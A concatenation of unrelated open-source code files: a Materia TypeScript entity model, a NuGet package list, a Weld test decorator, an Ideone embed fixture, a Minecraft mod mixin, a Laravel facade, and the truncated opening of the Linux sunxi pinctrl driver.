p = p.then(() => entity2.addRelation(rel2, options));
}
}
return p;
}
move(x, y): Promise<void> {
this.x = x;
this.y = y;
return this.savePosition();
}
create(entityobj, options) {
options = options || {};
this.name = entityobj.name;
this.id = entityobj.id || uuid();
if (entityobj.x && entityobj.y) {
this.x = entityobj.x;
this.y = entityobj.y;
} else {
this.app.config.reloadConfig();
const entityPosition = this.app.config.entitiesPosition[entityobj.name];
if (entityPosition) {
this.x = entityPosition.x;
this.y = entityPosition.y;
}
}
this.fields = [];
this.relations = [];
this.queries = [];
this.isRelation = entityobj.isRelation;
this.fromAddon = options.fromAddon;
const promises = [];
if (entityobj.fields) {
entityobj.fields.forEach((field) => {
promises.push(this.addField(field, {history: false, save: false, db: false, generateQueries: false}));
});
}
if (entityobj.relations) {
entityobj.relations.forEach((relation) => {
if (options.wait_relations) {
this.relations_queue.push({relation: relation, options: {history: false, save: false, db: false}});
} else {
promises.push(this.addRelation(relation, {history: false, save: false, db: false}));
}
});
}
return Promise.all(promises);
}
loadQueries(queries: Array<IQuery>): void {
this.generateDefaultQueries();
if (queries) {
queries.forEach((query) => {
// fix: don't overload default query else it always overload after the first generation
if (this.reservedQueries.indexOf(query.id) == -1) {
try {
this.app.logger.log(` │ │ └── ${chalk.bold(this.name)}.${chalk.bold(query.id)}`);
this.addQuery(query, {history: false, save: false});
} catch (e) {
const err = e.originalError || e instanceof MateriaError && e;
if (err) {
this.app.logger.warn(` │ │ │ (Warning) Skipped query "${query.id}" of entity "${this.name}"`);
this.app.logger.warn(' │ │ │ due to error: ' + err.stack);
} else {
throw e;
}
}
}
});
}
}
applyRelations() {
const promises = [];
for (const relobj of this.relations_queue) {
if (this.app.entities.get(relobj.relation.reference.entity)) {
promises.push(this.addRelation(relobj.relation, relobj.options).catch((e) => {
this.app.logger.warn(`In ${this.name}: ${e && e.message}. Skipped relation`);
return Promise.resolve();
}));
}
}
this.relations_queue = [];
return Promise.all(promises).then(() => {
this.refreshQueries();
});
}
save(): Promise<void> {
if (this.fromAddon) {
return Promise.resolve();
} else {
const relativePath = path.join('server', 'models', this.name + '.json');
const entityModel = Object.assign({}, this.toJson());
delete entityModel.x;
delete entityModel.y;
return new Promise((resolve, reject) => {
fs.writeFile(
path.join(this.app.path, relativePath),
JSON.stringify(entityModel, null, '\t'),
err => {
if (err) {
return reject(err);
} else {
return resolve();
}
}
);
});
}
}
savePosition() {
const oldEntitiesPositionConfig = this.app.config.get(null, ConfigType.ENTITIES_POSITION);
const newEntitiesPositionConfig = Object.assign({}, oldEntitiesPositionConfig, {
[this.name]: {
x: Math.round(this.x * 100) / 100,
y: Math.round(this.y * 100) / 100
}
});
this.app.config.set(newEntitiesPositionConfig, null, ConfigType.ENTITIES_POSITION);
return this.app.config.save();
}
/**
Returns a list of the relations
@returns {Array<Relation>}
*/
getRelations(): Array<IRelation> { return this.relations; }
/**
Returns all asociated entities
@returns {Array<Relation>}
*/
getRelatedEntities(): Entity[] {
const associatedEntity = {};
const entities = this.app.entities.entities;
for (const name in entities) {
if (entities[name]) {
const entity = entities[name];
for (const entityRelation of entity.relations) {
if (entityRelation.reference.entity === this.name) {
associatedEntity[name] = entity;
}
}
}
}
// To find associatedTable from belongsToMany relation
for (const relation of this.relations) {
if (relation.reference && relation.reference.entity) {
associatedEntity[relation.reference.entity] = entities[relation.reference.entity];
}
}
// Object.values()
const associatedEntityArray = [];
for (const k in associatedEntity) {
if (associatedEntity[k]) {
associatedEntityArray.push(associatedEntity[k]);
}
}
return associatedEntityArray;
}
/**
Returns a relation determined by a field name
@param {string} - Entity's field name
@returns {Relation} - BelongsTo/HasMany/HasOne relationship
*/
getRelationByField(field: string): IRelation {
for (const relation of this.relations) {
if (relation.type === 'belongsTo') {
if (field == relation.field) {
return relation;
}
} else if (relation.type === 'hasMany' || relation.type === 'hasOne') {
if (field === relation.reference.field) {
return relation;
}
}
}
return null;
}
/**
Returns a belongsToMany relation determined by a junction table entity name
@param {string} - BelongsToMany junction table entity's name
@returns {Relation} - BelongsToMany relationship
*/
getBelongsToManyRelation(entityThrough: string) {
return this.relations.find(r => r.type === 'belongsToMany' && r.through === entityThrough);
}
/**
Determines if a relation exists
@param {Relation} - Relation to find in the relations array.
@returns {integer} Index of the relation in the relations array, or -1 if non existant.
*/
getRelationIndex(relation: IRelation): number {
let res = -1;
this.relations.forEach((rel, i) => {
if (res != -1) {
return false;
}
if (relation && relation.field && relation.field == rel.field) {
res = i; // type belongsTo
} else if (relation && relation.as && relation.as == rel.as
&& relation.reference.entity == rel.reference.entity
&& relation.reference.as == rel.reference.as) {
res = i; // type belongsToMany
} else if (relation && relation.reference.field
&& relation.reference.entity == rel.reference.entity
&& relation.reference.field == rel.reference.field) {
res = i; // type hasMany
}
});
return res;
}
getPK(): Array<Field> {
return this.fields.filter(field => field.primary);
}
/**
Add a relation to the entity
@param {Relation} - Relation's description.
@param {object} - Action's options
@returns {Promise}
*/
addRelation(relation: IRelation, options?: IApplyOptions): Promise<any> {
options = options || {};
if (relation.field && relation.reference.entity == relation.field) {
return Promise.resolve(new MateriaError('The reference field cannot have the same name that its referenced entity'));
}
const entityDest = this.app.entities.get(relation.reference.entity);
let p: Promise<any> = Promise.resolve();
if ( ! relation.type || relation.type == 'belongsTo') {
relation.type = 'belongsTo';
if ( ! entityDest) {
if (options.apply != false) {
this.relations.push(relation);
}
return Promise.resolve(); // when loading entities
}
let keyReference = entityDest.getPK()[0];
if (relation.reference.field && relation.reference.field != keyReference.name) {
const f = entityDest.getField(relation.reference.field);
if ( ! f) {
return Promise.reject(
new MateriaError(`The relation's referenced field ${entityDest.name}.${relation.reference.field} does not exist`)
);
}
if ( ! f.unique) {
return Promise.reject(new MateriaError(`${entityDest.name}.${f.name} cannot be referenced in relation (need to be unique/primary)`));
}
keyReference = f;
}
if (options.apply != false) {
this.relations.push(relation);
}
let uniqueField = false;
if (relation.unique !== undefined) {
uniqueField = relation.unique;
}
const newField: IField = {
name: relation.field,
type: keyReference.type,
default: false,
generateFrom: relation.reference.entity,
required: true,
read: true,
write: true,
primary: false,
unique: uniqueField,
isRelation: relation
};
if (relation.reference.entity === this.name) {
delete newField.generateFrom;
}
p = this.addField(newField, options);
} else if (relation.type == 'hasMany' || relation.type == 'hasOne') {
if (options.apply != false) {
this.relations.push(relation);
}
} else if (relation.type == 'belongsToMany') {
if (options.apply != false) {
this.relations.push(relation);
if ( ! entityDest) {
return Promise.resolve(); // when loading entities
}
// TODO: Should be all PK of this and relation.reference.entity
const field1 = this.getPK()[0];
const field2 = this.app.entities.get(relation.reference.entity).getPK()[0];
if ( ! relation.as) {
relation.as = field1.name;
}
const isRelation = [{
field: relation.as,
entity: this.name
}, {
field: relation.reference.as,
entity: relation.reference.entity
}
];
const implicitRelation = [
{
type: 'belongsTo',
reference: {
entity: this.name,
field: field1.name
}
},
{
type: 'belongsTo',
reference: {
entity: relation.reference.entity,
field: field2.name
}
}
];
const throughEntity = this.app.entities.get(relation.through);
if (throughEntity) {
const asField1 = throughEntity.getField(relation.as);
const asField2 = throughEntity.getField(relation.reference.as);
if (throughEntity.isRelation) {
if (throughEntity.compareIsRelation(relation, this)) {
return Promise.reject(new MateriaError('Table ' + relation.through + ' is already used for a different relation'));
}
p = Promise.resolve();
if ( ! asField1) {
p = p.then(() => {
return throughEntity.addField({
name: relation.as,
type: field1.type,
default: false,
generateFrom: this.name,
required: true,
read: true,
write: true,
primary: true,
unique: true,
isRelation: implicitRelation[0]
}, options);
});
} else {
asField1.isRelation = implicitRelation[0];
}
if ( ! asField2) {
p = p.then(() => {
return throughEntity.addField({
name: relation.reference.as,
type: field2.type,
default: false,
generateFrom: relation.reference.entity,
required: true,
read: true,
write: true,
primary: true,
unique: true,
isRelation: implicitRelation[1]
}, options);
});
} else {
asField2.isRelation = implicitRelation[1];
}
} else {
if ( ! asField1 || ! asField2) {
return Promise.reject(new MateriaError('Cannot use existing table ' + relation.through + ' for a many to many relation'));
}
throughEntity.isRelation = isRelation;
if (asField1.isRelation) {
asField1.isRelation.implicit = true;
} else {
if (asField1.name == relation.as) {
asField1.references = isRelation[1];
asField1.isRelation = implicitRelation[0];
} else {
asField1.references = isRelation[0];
asField1.isRelation = implicitRelation[1];
}
p = p.then(() => {
return throughEntity.updateField(asField1.name, asField1, options);
});
}
if (asField2.isRelation) {
asField2.isRelation.implicit = true;
} else {
if (asField2.name == relation.as) {
asField2.references = isRelation[1];
asField2.isRelation = implicitRelation[0];
} else {
asField2.references = isRelation[0];
asField2.isRelation = implicitRelation[1];
}
p = p.then(() => {
return throughEntity.updateField(asField2.name, asField2, options);
});
}
p = p.then(() => {
if (options.save) {
return throughEntity.save();
}
});
}
} else {
p = this.app.entities.add({
name: relation.through,
overwritable: true,
fields: [{
name: relation.as,
type: field1.type,
default: false,
required: true,
read: true,
write: true,
primary: true,
unique: true,
isRelation: implicitRelation[0]
}, {
name: relation.reference.as,
type: field2.type,
default: false,
required: true,
read: true,
write: true,
primary: true,
unique: true,
isRelation: implicitRelation[1]
}],
isRelation: isRelation
}, options);
}
}
} else {
return Promise.reject(new Error('Unknown relation type.'));
}
if ( ! p) {
p = Promise.resolve();
}
return p.then((result) => {
if (options.history != false) {
this.app.history.push({
type: MigrationType.ADD_RELATION,
table: this.name,
value: relation
}, {
type: MigrationType.DELETE_RELATION,
table: this.name,
value: relation
});
}
if (options.apply != false) {
this.generateDefaultQueries();
}
if (options.save != false) {
return this.save();
}
});
}
removeRelation(relation: IRelation, options?: IApplyOptions): Promise<any> {
options = options || {};
const i = this.getRelationIndex(relation);
if (i == -1 && options.apply != false) {
return Promise.reject(new MateriaError('Could not find relation'));
}
let p = Promise.resolve();
if (options.apply != false) {
const paired = relation.paired;
relation = this.relations.splice(i, 1)[0];
if ( ! paired) {
let inverseType;
if (relation.type == 'belongsTo' || ! relation.type) {
inverseType = 'hasMany';
} else {
inverseType = relation.type; // only n-n for now
}
const inversedRelation = {
type: inverseType,
field: relation.reference.field,
as: relation.reference.as,
entity: relation.reference.entity,
paired: true,
reference: {
field: relation.field,
as: relation.as,
entity: this.name
}
};
p = this.app.entities.get(relation.reference.entity).removeRelation(inversedRelation, options).catch((e) => {
if (e.message != 'Could not find relation') {
throw e;
}
});
}
}
if (relation.type == 'belongsToMany') {
const entityThrough = this.app.entities.get(relation.through);
if (entityThrough) {
p = p.then(() => {
const opts: IApplyOptions = Object.assign({}, options);
opts.history = false;
return this.app.entities.remove(relation.through, opts);
});
}
} else if ((relation.type == 'belongsTo' || ! relation.type) && !! this.fields.find(field => field.name == relation.field)) {
p = p.then(() => {
return this.removeField(relation.field, options);
});
}
return p.then(() => {
this.generateDefaultQueries();
if (options.history != false) {
this.app.history.push({
type: MigrationType.DELETE_RELATION,
table: this.name,
value: relation
}, {
type: MigrationType.ADD_RELATION,
table: this.name,
value: relation
});
}
if (options.save != false) {
return this.save();
}
});
}
/**
Get a field description by its name.
@param {string} - Field's name.
@returns {Field}
*/
getField(name: string): Field {
return this.fields.find(field => field.name == name);
}
/**
Return true if field exist
@param {string} - Field's name
@returns {Boolean}
*/
isField(name: string): boolean {
return !! this.getField(name);
}
/**
Get the entity's fields.
@returns {Array<Field>}
*/
getFields(): Array<Field> { return this.fields; }
/**
Get the entity's writable fields.
@returns {Array<Field>}
*/
getWritableFields(): Array<Field> {
return this.fields.filter(field => field.write);
}
/**
Get the entity's unique fields.
@param {string|boolean} - unique group name, or true for independent uniques fields, or false for non unique fields.
@returns {Array<Field>}
*/
getUniqueFields(group: string | boolean): Array<Field> {
return this.fields.filter(field => field.unique == group);
}
/**
Get the entity's readable fields.
@returns {Array<Field>}
*/
getReadableFields(): Array<Field> {
return this.fields.filter(field => field.read);
}
/**
Update a field.
@param {string} - Field's name to update
@param {object} - New field description
@param {object} - Action's options
@returns {Promise<Field>}
*/
updateField(name: string, newfield: IFieldUpdate, options?): Promise<Field> {
return new Promise((accept, reject) => {
options = options || {};
if (! name) {
return reject();
}
let fieldobj;
try {
fieldobj = new Field(this, newfield);
} catch (e) {
return reject(e);
}
const done = () => {
if (options.apply != false && fieldobj.name != name) {
for (const relation of this.relations) {
if (relation.field == name) {
relation.field = fieldobj.name;
}
}
}
this.fields.forEach((field, k) => {
if (field.name == name) {
if (options.apply != false) {
this.fields.splice(k, 1, fieldobj);
}
if (options.history != false) {
this.app.history.push({
type: MigrationType.CHANGE_FIELD,
table: this.name,
name: field.name,
value: fieldobj.toJson()
}, {
type: MigrationType.CHANGE_FIELD,
table: this.name,
name: fieldobj.name,
value: field.toJson()
});
}
}
});
let p = Promise.resolve();
if (options.save != false) {
p = p.then(() => this.save());
}
this.generateDefaultQueries();
return p;
};
if (options.differ) {
options.differ(done);
accept(fieldobj);
} else {
done().then(() => accept(fieldobj));
}
});
}
/**
Add a new field.
@param {object} - New field description
@param {integer} - Field position in list
@param {object} - Action's options
@returns {Promise<Field>}
*/
addFieldAt(field: IField, at: number, options?): Promise<Field> {
options = options || {};
let fieldobj: Field;
try {
fieldobj = new Field(this, Object.assign({}, field, {
read: true,
write: field.autoIncrement ? false : true
}));
} catch (e) {
return Promise.reject(e);
}
if (options.apply != false) {
const oldfield = this.getField(field.name);
if (oldfield) {
if (field.isRelation) {
oldfield.isRelation = field.isRelation;
return Promise.resolve(oldfield);
}
if ( options.noErrors ) {
return Promise.resolve(oldfield);
} else {
return Promise.reject(new MateriaError('A field of this name already exists'));
}
}
this.fields.splice(at, 0, fieldobj);
}
if (options.history != false && ! field.isRelation) {
this.app.history.push({
type: MigrationType.ADD_FIELD,
table: this.name,
value: fieldobj.toJson(),
position: at
}, {
type: MigrationType.DELETE_FIELD,
table: this.name,
value: field.name
});
}
let p = Promise.resolve();
if (options.save != false) {
p = p.then(() => this.save());
}
if (options.generateQueries !== false) {
this.generateDefaultQueries();
}
return p.then(() => fieldobj);
}
/**
Add a new field. Shortcut for addFieldAt(field, *fields count*, options)
@param {object} - New field description
@param {object} - Action's options
@returns {Promise<Field>}
*/
addField(field: IField, options?): Promise<Field> {
return this.addFieldAt(field, this.fields.length, options);
}
/**
Add a new field. Shortcut for addFieldAt(field, 0, options)
@param {object} - New field description
@param {object} - Action's options
@returns {Promise<Field>}
*/
addFieldFirst(field: IField, options?): Promise<Field> {
return this.addFieldAt(field, 0, options);
}
/**
Delete a field
@param {string} - Field's name
@param {object} - Action's options
@returns {Promise}
*/
removeField(name: string, options?): Promise<void> {
options = options || {};
if (! name) {
return Promise.reject(new MateriaError('The name of the field is required'));
}
if (options.apply != false && ! this.getField(name)) {
return Promise.reject(new MateriaError('This field does not exist'));
}
this.fields.forEach((field, k) => {
if (field.name == name) {
if (options.apply != false) {
this.fields.splice(k, 1);
}
if (options.history != false) {
this.app.history.push({
type: MigrationType.DELETE_FIELD,
table: this.name,
value: field.name
}, {
type: MigrationType.ADD_FIELD,
table: this.name,
value: field.toJson(),
position: k
});
}
}
});
this.generateDefaultQueries();
if (options.save != false) {
return this.save();
}
return Promise.resolve();
}
/**
Return the entity's description
@returns {object}
*/
toJson(): IEntityConfig {
const fieldsJson = [];
if (this.fields) {
for (const field of this.fields) {
if ( ! field.isRelation || ! field.isDefaultRelationField()) {
fieldsJson.push(field.toJson());
}
}
}
const relJson = [];
if (this.relations) {
this.relations.forEach(relation => {
if ( ! relation.implicit) {
const relCopy = {} as any;
for (const k in relation) {
if (k != 'entity' && k != '$$hashKey') {
relCopy[k] = relation[k];
}
}
if ( ! relCopy.type) {
relCopy.type = 'belongsTo';
}
relJson.push(relCopy);
}
});
}
const queriesJson = [];
if (this.queries) {
this.queries.forEach(query => {
queriesJson.push(query.toJson());
});
}
const res: IEntityConfig = {
id: this.id,
x: this.x,
y: this.y,
fields: [],
relations: [],
queries: []
};
if (fieldsJson.length) {
res.fields = fieldsJson;
}
if (this.isRelation) {
res.isRelation = this.isRelation;
}
if (relJson.length) {
res.relations = relJson;
}
if (queriesJson.length) {
res.queries = queriesJson;
}
return res;
}
addDefaultQuery(id: string, type: string, params, opts) {
return this.addQuery({
id: id,
type: type,
opts: opts
}, {history: false, save: false});
}
/**
Add a query to the entity
@param {string} - Query's name
@param {object} - Query's data
@param {object} - Action's options
*/
addQuery(query: IQuery, options?: IApplyOptions): Promise<Query> {
options = options || {};
if ( ! this.queryObjects[query.type]) {
return Promise.reject(new MateriaError('Query type `' + query.type + '` not defined'));
}
const QueryClass = this.queryObjects[query.type];
const queryobj: Query = new QueryClass(this, query.id, query.opts);
if (options.apply != false) {
// check that query with `id` = id does not exist. if it exists, remove the query
const index = this.queries.indexOf(this.queries.find(q => q.id == query.id));
if (index != -1) {
this.queries.splice(index, 1);
}
this.queries.push(queryobj);
}
if (options.history != false) {
this.app.history.push({
type: MigrationType.ADD_QUERY,
table: this.name,
id: query.id,
value: queryobj.toJson()
}, {
type: MigrationType.DELETE_QUERY,
table: this.name,
id: query.id
});
}
if (options.save != false) {
return this.save().then(() => queryobj);
} else {
return Promise.resolve(queryobj);
}
}
getNewQuery(id: string, type: string, opts): IQueryConstructor {
if ( ! this.queryObjects[type]) {
throw new MateriaError('Query type `' + type + '` not defined');
}
const QueryClass = this.queryObjects[type];
const queryobj = <IQueryConstructor> new QueryClass(this, id, opts);
return queryobj;
}
/**
Delete a query
@param {string} - Query's name
@param {object} - Action's options
*/
removeQuery(id: string, options?: IApplyOptions): Promise<void> {
options = options || {};
const queryobj = this.getQuery(id);
if ( ! queryobj) {
return Promise.reject(new MateriaError('Could not find query `' + id + '`'));
}
if (options.apply != false) {
const index = this.queries.indexOf(this.queries.find(query => query.id == id));
if (index != -1) {
this.queries.splice(index, 1);
}
}
if (options.history != false) {
this.app.history.push({
type: MigrationType.DELETE_QUERY,
table: this.name,
id: id
}, {
type: MigrationType.ADD_QUERY,
table: this.name,
id: id,
value: queryobj.toJson()
});
}
if (options.save != false) {
return this.save();
} else {
return Promise.resolve();
}
}
/**
Get a query object
@param {string} - Query's name
@returns {Query}
*/
getQuery(id): Query {
for (const query of this.queries) {
if (query.id == id) {
return query;
}
}
return null;
}
refreshQueries() {
for (const query of this.queries) {
try {
query.refresh();
query.discoverParams();
} catch (e) {
this.app.logger.error(e);
}
}
}
/**
Get the entity's queries
@returns {Array<Query>}
*/
getQueries() { return this.queries; }
compareIsRelation(relation, entity): boolean {
if ( ! this.isRelation) {
return true;
}
if (this.isRelation[0].field == relation.as) {
if (this.isRelation[0].entity == entity.name
&& this.isRelation[1].field == relation.reference.as
&& this.isRelation[1].entity == relation.reference.entity) {
return false;
}
} else if (this.isRelation[1].field == relation.as) {
if (this.isRelation[1].entity == entity.name
&& this.isRelation[0].field == relation.reference.as
&& this.isRelation[0].entity == relation.reference.entity) {
return false;
}
}
return true;
}
defineQueryObjects(data) {
this.queryObjects = data;
}
getQueryTypes() {
return Object.keys(this.queryObjects);
}
abstract loadModel(): Promise<any>;
loadRelationsInModel() { }
} | {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="Antlr" version="3.4.1.9004" targetFramework="net45" />
<package id="bootstrap" version="3.0.0" targetFramework="net45" />
<package id="EntityFramework" version="6.1.0" targetFramework="net45" />
<package id="jQuery" version="1.10.2" targetFramework="net45" />
<package id="jQuery.Validation" version="1.11.1" targetFramework="net45" />
<package id="Microsoft.AspNet.Identity.Core" version="2.0.0" targetFramework="net45" />
<package id="Microsoft.AspNet.Identity.EntityFramework" version="2.0.0" targetFramework="net45" />
<package id="Microsoft.AspNet.Identity.Owin" version="2.0.0" targetFramework="net45" />
<package id="Microsoft.AspNet.Mvc" version="5.1.2" targetFramework="net45" />
<package id="Microsoft.AspNet.Razor" version="3.1.2" targetFramework="net45" />
<package id="Microsoft.AspNet.Web.Optimization" version="1.1.3" targetFramework="net45" />
<package id="Microsoft.AspNet.WebPages" version="3.1.2" targetFramework="net45" />
<package id="Microsoft.jQuery.Unobtrusive.Validation" version="3.1.2" targetFramework="net45" />
<package id="Microsoft.Owin" version="2.1.0" targetFramework="net45" />
<package id="Microsoft.Owin.Host.SystemWeb" version="2.1.0" targetFramework="net45" />
<package id="Microsoft.Owin.Security" version="2.1.0" targetFramework="net45" />
<package id="Microsoft.Owin.Security.Cookies" version="2.1.0" targetFramework="net45" />
<package id="Microsoft.Owin.Security.Facebook" version="2.1.0" targetFramework="net45" />
<package id="Microsoft.Owin.Security.Google" version="2.1.0" targetFramework="net45" />
<package id="Microsoft.Owin.Security.MicrosoftAccount" version="2.1.0" targetFramework="net45" />
<package id="Microsoft.Owin.Security.OAuth" version="2.1.0" targetFramework="net45" />
<package id="Microsoft.Owin.Security.Twitter" version="2.1.0" targetFramework="net45" />
<package id="Microsoft.Web.Infrastructure" version="1.0.0.0" targetFramework="net45" />
<package id="Modernizr" version="2.6.2" targetFramework="net45" />
<package id="Newtonsoft.Json" version="5.0.6" targetFramework="net45" />
<package id="Owin" version="1.0" targetFramework="net45" />
<package id="Respond" version="1.2.0" targetFramework="net45" />
<package id="WebGrease" version="1.5.2" targetFramework="net45" />
</packages> | {
"pile_set_name": "Github"
} |
/*
* JBoss, Home of Professional Open Source
* Copyright 2010, Red Hat, Inc., and individual contributors
* by the @authors tag. See the copyright.txt in the distribution for a
* full listing of individual contributors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* http://www.apache.org/licenses/LICENSE-2.0
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.jboss.weld.tests.decorators.abstractDecorator;
import jakarta.decorator.Decorator;
import jakarta.decorator.Delegate;
import jakarta.inject.Inject;
/**
* @author <a href="mailto:[email protected]">Marius Bogoevici</a>
*/
@Decorator
public abstract class FrameWithFieldInjectedDelegateAndAbstractMethod implements Window {
static boolean moved;
@Inject
@Delegate
Window window;
public abstract void draw();
public void move() {
moved = true;
window.move();
}
}
| {
"pile_set_name": "Github"
} |
<?php
declare(strict_types = 1);
return [
'authorName' => null,
'authorUrl' => null,
'cms' => null,
'code' => [
'html' => '<script src="https://ideone.com/e.js/Whjntg"></script>',
'width' => null,
'height' => null,
'ratio' => null
],
'description' => 'Ideone is something more than a pastebin; it\'s an online compiler and debugging tool which allows to compile and run code online in more than 40 programming languages.',
'favicon' => 'https://stx1.ideone.com/gfx2/img/favicon.png',
'feeds' => [],
'icon' => null,
'image' => 'http://profile.ak.fbcdn.net/hprofile-ak-prn1/50232_245768360841_3377786_q.jpg',
'keywords' => [
'online compiler',
'online ide',
'learn programming online',
'programming online',
'run code online',
'snippet',
'snippets',
'pastebin',
'online debugging tool',
'online interpreter',
'run your code online',
'run code',
'execute code',
'c++',
'java',
'python'
],
'language' => 'en',
'languages' => [],
'license' => null,
'providerName' => 'Ideone.com',
'providerUrl' => 'https://ideone.com',
'publishedTime' => null,
'redirect' => null,
'title' => 'Ideone.com',
'url' => 'https://ideone.com/Whjntg',
'linkedData' => [],
'oEmbed' => []
];
| {
"pile_set_name": "Github"
} |
/*
* This file is part of LiteModWDL. LiteModWDL contains the liteloader-specific
* code for World Downloader: A mod to make backups of your multiplayer worlds.
* https://www.minecraftforum.net/forums/mapping-and-modding-java-edition/minecraft-mods/2520465-world-downloader-mod-create-backups-of-your-builds
*
* Copyright (c) 2014 nairol, cubic72
* Copyright (c) 2017-2018 Pokechu22, julialy
*
* This project is licensed under the MMPLv2. The full text of the MMPL can be
* found in LICENSE.md, or online at https://github.com/iopleke/MMPLv2/blob/master/LICENSE.md
* For information about this the MMPLv2, see https://stopmodreposts.org/
*
* Do not redistribute (in modified or unmodified form) without prior permission.
*/
package com.uyjulian.LiteModWDL.mixin;
import net.minecraft.client.gui.GuiButton;
import net.minecraft.client.gui.GuiIngameMenu;
import net.minecraft.client.gui.GuiScreen;
import wdl.ducks.IBaseChangesApplied;
import org.spongepowered.asm.mixin.Mixin;
import org.spongepowered.asm.mixin.injection.At;
import org.spongepowered.asm.mixin.injection.Inject;
import org.spongepowered.asm.mixin.injection.callback.CallbackInfo;
@Mixin(GuiIngameMenu.class)
public abstract class MixinGuiIngameMenu extends GuiScreen implements IBaseChangesApplied {
@Inject(method="init", at=@At("RETURN"))
private void onInitGui(CallbackInfo ci) {
wdl.WDLHooks.injectWDLButtons((GuiIngameMenu)(Object)this, buttons, this::addButton);
}
@Inject(method="actionPerformed", at=@At("HEAD"))
private void onActionPerformed(GuiButton guibutton, CallbackInfo ci) {
wdl.WDLHooks.handleWDLButtonClick((GuiIngameMenu)(Object)this, guibutton);
}
}
| {
"pile_set_name": "Github"
} |
<?php
namespace Illuminate\Support\Facades;
/**
* @method static \Illuminate\Http\Request instance()
* @method static string method()
* @method static string root()
* @method static string url()
* @method static string fullUrl()
* @method static string fullUrlWithQuery(array $query)
* @method static string path()
* @method static string decodedPath()
* @method static string|null segment(int $index, string|null $default = null)
* @method static array segments()
* @method static bool is(...$patterns)
* @method static bool routeIs(...$patterns)
* @method static bool fullUrlIs(...$patterns)
* @method static bool ajax()
* @method static bool pjax()
* @method static bool secure()
* @method static string ip()
* @method static array ips()
* @method static string userAgent()
* @method static \Illuminate\Http\Request merge(array $input)
* @method static \Illuminate\Http\Request replace(array $input)
* @method static \Symfony\Component\HttpFoundation\ParameterBag|mixed json(string $key = null, $default = null)
* @method static \Illuminate\Session\Store session()
* @method static \Illuminate\Session\Store|null getSession()
* @method static void setLaravelSession(\Illuminate\Contracts\Session\Session $session)
* @method static mixed user(string|null $guard = null)
* @method static \Illuminate\Routing\Route|object|string route(string|null $param = null)
* @method static string fingerprint()
* @method static \Illuminate\Http\Request setJson(\Symfony\Component\HttpFoundation\ParameterBag $json)
* @method static \Closure getUserResolver()
* @method static \Illuminate\Http\Request setUserResolver(\Closure $callback)
* @method static \Closure getRouteResolver()
* @method static \Illuminate\Http\Request setRouteResolver(\Closure $callback)
* @method static array toArray()
* @method static bool offsetExists(string $offset)
* @method static mixed offsetGet(string $offset)
* @method static void offsetSet(string $offset, $value)
* @method static void offsetUnset(string $offset)
*
* @see \Illuminate\Http\Request
*/
class Input extends Facade
{
/**
* Get an item from the input data.
*
* This method is used for all request verbs (GET, POST, PUT, and DELETE)
*
* @param string $key
* @param mixed $default
* @return mixed
*/
public static function get($key = null, $default = null)
{
return static::$app['request']->input($key, $default);
}
/**
* Get the registered name of the component.
*
* @return string
*/
protected static function getFacadeAccessor()
{
return 'request';
}
}
| {
"pile_set_name": "Github"
} |
/*
* Allwinner A1X SoCs pinctrl driver.
*
* Copyright (C) 2012 Maxime Ripard
*
* Maxime Ripard <[email protected]>
*
* This file is licensed under the terms of the GNU General Public
* License version 2. This program is licensed "as is" without any
* warranty of any kind, whether express or implied.
*/
#include <linux/io.h>
#include <linux/clk.h>
#include <linux/clk-provider.h>
#include <linux/gpio/driver.h>
#include <linux/irqdomain.h>
#include <linux/irqchip/chained_irq.h>
#include <linux/export.h>
#include <linux/of.h>
#include <linux/of_address.h>
#include <linux/of_device.h>
#include <linux/of_irq.h>
#include <linux/pinctrl/consumer.h>
#include <linux/pinctrl/machine.h>
#include <linux/pinctrl/pinctrl.h>
#include <linux/pinctrl/pinconf-generic.h>
#include <linux/pinctrl/pinmux.h>
#include <linux/platform_device.h>
#include <linux/slab.h>
#include <dt-bindings/pinctrl/sun4i-a10.h>
#include "../core.h"
#include "pinctrl-sunxi.h"
static struct irq_chip sunxi_pinctrl_edge_irq_chip;
static struct irq_chip sunxi_pinctrl_level_irq_chip;
static struct sunxi_pinctrl_group *
sunxi_pinctrl_find_group_by_name(struct sunxi_pinctrl *pctl, const char *group)
{
int i;
for (i = 0; i < pctl->ngroups; i++) {
struct sunxi_pinctrl_group *grp = pctl->groups + i;
if (!strcmp(grp->name, group))
return grp;
}
return NULL;
}
static struct sunxi_pinctrl_function *
sunxi_pinctrl_find_function_by_name(struct sunxi_pinctrl *pctl,
const char *name)
{
struct sunxi_pinctrl_function *func = pctl->functions;
int i;
for (i = 0; i < pctl->nfunctions; i++) {
if (!func[i].name)
break;
if (!strcmp(func[i].name, name))
return func + i;
}
return NULL;
}
static struct sunxi_desc_function *
sunxi_pinctrl_desc_find_function_by_name(struct sunxi_pinctrl *pctl,
const char *pin_name,
const char *func_name)
{
int i;
for (i = 0; i < pctl->desc->npins; i++) {
const struct sunxi_desc_pin *pin = pctl->desc->pins + i;
if (!strcmp(pin->pin.name, pin_name)) {
struct sunxi_desc_function *func = pin->functions;
while (func->name) {
if (!strcmp(func->name, func_name) &&
(!func->variant ||
func->variant & pctl->variant))
return func;
func++;
}
}
}
return NULL;
}
static struct sunxi_desc_function *
sunxi_pinctrl_desc_find_function_by_pin(struct sunxi_pinctrl *pctl,
const u16 pin_num,
const char *func_name)
{
int i;
for (i = 0; i < pctl->desc->npins; i++) {
const struct sunxi_desc_pin *pin = pctl->desc->pins + i;
if (pin->pin.number == pin_num) {
struct sunxi_desc_function *func = pin->functions;
while (func->name) {
if (!strcmp(func->name, func_name))
return func;
func++;
}
}
}
return NULL;
}
static int sunxi_pctrl_get_groups_count(struct pinctrl_dev *pctldev)
{
struct sunxi_pinctrl *pctl = pinctrl_dev_get_drvdata(pctldev);
return pctl->ngroups;
}
static const char *sunxi_pctrl_get_group_name(struct pinctrl_dev *pctldev,
unsigned group)
{
struct sunxi_pinctrl *pctl = pinctrl_dev_get_drvdata(pctldev);
return pctl->groups[group].name;
}
static int sunxi_pctrl_get_group_pins(struct pinctrl_dev *pctldev,
unsigned group,
const unsigned **pins,
unsigned *num_pins)
{
struct sunxi_pinctrl *pctl = pinctrl_dev_get_drvdata(pctldev);
*pins = (unsigned *)&pctl->groups[group].pin;
